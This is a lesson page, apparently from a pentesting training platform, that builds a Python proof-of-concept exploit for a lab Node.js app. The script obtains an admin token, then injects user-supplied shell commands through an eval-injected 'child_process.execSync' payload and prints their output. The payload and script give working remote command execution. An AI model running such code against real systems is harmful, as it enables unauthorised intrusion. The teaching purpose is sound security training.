Intro to Whitebox Pentesting
Exploit Development
So far, we have two working methods of executing and retrieving a command's output. The final step of our Proof of Concept is to develop an automated script that asks us for a command and retrieves its output. As the Blind SQL Injection module already covers developing a script for sleep/boolean data exfiltration, we will develop an exploit for the other technique (output through HTTP response) to learn another way of exploit automation.
The Plan
Let's plan the things we need our exploit to do. These steps would be the same ones we followed to obtain the command output, and they are:
- Obtain an admin authentication token (once, then use it for all requests)
- Ask the user for the input command
- inject the command into the JSON payload
- Send an authenticated POST request to
/api/service/generate - Parse the response and print the formatted command output
- Loop back to #2 (ask for another input command)
Excellent! Let's start writing our exploit script.
Note: Refer to the Introduction to Python 3 module if you are not familiar with Python script development. You may also use AI to generate lines of code, but it is advised to do so for every step instead of asking to generate the entire script at once, as debugging that would be difficult all at once.
Admin Token
Let's start our exploit by defining the basic variables, such as the URLs and endpoints. We will also import the requests and json libraries, as we know our script depends on them:
#!/usr/bin/python3
import requests
import json
server="localhost"
port=5000
url=f"http://{server}:{port}"
auth_endpoint=f"{url}/api/auth/authenticate"
qr_endpoint=f"{url}/api/service/generate"
Now, we can review our previous curl command to know what we need in our request:
curl -s -X POST -H "Content-Type: application/json" -d '{"email": "[email protected]"}' http://localhost:5000/api/auth/authenticate
So, we will define our headers and data in their variables as well:
headers = {"Content-Type": "application/json"}
data = {"email": "[email protected]"}
Then, we can put all of this together to send a POST request with the requests.post function, as follows:
response = requests.post(auth_endpoint, headers=headers, data=json.dumps(data))
To get the token value from the JSON response with:
token = response.json()['token']
Exercise: Try to run this code and then print token to confirm that we do get a valid JWT token.
Retrieving Input Command
We can keep the token variable at the top level and start a user input loop that executes the remaining steps. Let's start with a simple loop that takes our input and then prints it:
while True:
user_input = input("\n> ")
print(user_input)
We can run this to test it, and it works as expected. Instead of printing user_input, we want to inject it into our payload. We will use Python string interpolation to avoid breaking the JSON body:
while True:
user_input = input("> ")
payload={ "text": "' + require('child_process').execSync('" + user_input + "').toString() + `'`, statusCode: 403})//"}
print(payload)
As a checkpoint, we can try running the code to ensure it works as expected:
[!bash!]$ python3 poc.py
> ls
{'text': "' + require('child_process').execSync('ls').toString() + `'`, statusCode: 403})//"}
As we can see, the JSON payload is being prepared as intended. We also need to escape single quotes or replace them with double quotes. This is because our command was wrapped with single quotes in the earlier JavaScript payload (in execSync('ls')), and using un-escaped single quotes would break the JavaScript payload, and the attack would fail. To do so, we will add the following before payload:
user_input = user_input.replace("'", '"')
Sending the Request
To send the request, we can re-use the previous POST request code and add the authorization header to headers with the same value we used in our curl request:
headers = {"Content-Type": "application/json", "Authorization": f"Bearer {token}"}
response = requests.post(qr_endpoint, headers=headers, data=json.dumps(payload))
Before we parse the response and get the command output, it's best to do another checkpoint by confirming that our payload looks as expected on the backend. We will once again set a breakpoint on line 9 in service-controllers.js, and then run the script and input any command. We get the following value for onError:
"throw({message: 'The input \"' + require('child_process').execSync('ls').toString() + `'`, statusCode: 403})//\" contains the following invalid characters: [',',',',',`,',`]', statusCode: 403})";
Parsing Response
Great! This appears to match what we sent. So we can proceed with receiving the response and formatting it. From our previous 'manual' exploitation attempts, we know that the response starts with The input \" and then the output of the command. So, we can use this info to capture the command output. We also noticed that the message value always ends with \n', so we must remove the last two characters.
So, we will capture the message value from the JSON response, split and capture the part after The input \", remove the last two characters, and print the output, as follows:
output = response.json()['message'].split("The input \"")[1][:-2]
print(output)
We can try running the final exploit, and it runs as expected:
[!bash!]$ python3 poc.py
> ls
node_modules
package-lock.json
package.json
src
> ls -la src
total 24
drwxr-xr-x 6 21y4d staff 192 XXX 2 17:19 .
drwxr-xr-x 8 21y4d staff 256 XXX 7 13:43 ..
-rw-r--r-- 1 21y4d staff 1064 XXX 6 20:39 app.js
drwxr-xr-x 4 21y4d staff 128 XXX 16 15:50 controllers
drwxr-xr-x 4 21y4d staff 128 XXX 16 15:50 routes
Now, we should have a fully automated PoC exploit to showcase all of our findings in an easy-to-use manner. We can always enhance our exploit by adding fail-safe checks for unexpected responses or user inputs or adding the ability to use arrow keys to use previous user input. For our purposes, this is enough to demonstrate our proof of concept.
Note: As our script does not include any data modification, we do not need to perform any cleanup after running it on the production target.
/ 1 spawns left
Questions
Answer the question(s) below to complete this Section and earn cubes!
Click here to spawn the target system!
Target:
Click here to spawn the target system!
+10 Streak pts
Table of Contents
Intro to Whitebox PentestingWhitebox Pentesting Process
Whitebox Pentesting Process Code review Local Testing Proof of Concept Patching & RemediationCode Review
Code Review - Authentication Code Review - ServicesLocal Testing
Planning Eval Injection Target Function Code InjectionProof of Concept (PoC)
Command Execution HTTP Response Injection Blind Exploitation Exploit DevelopmentPatching & Remediation
Patching & RemediationSkills Assessment
Skills Assessment - Intro to Whitebox PentestingMy Workstation
OFFLINE
/ 1 spawns left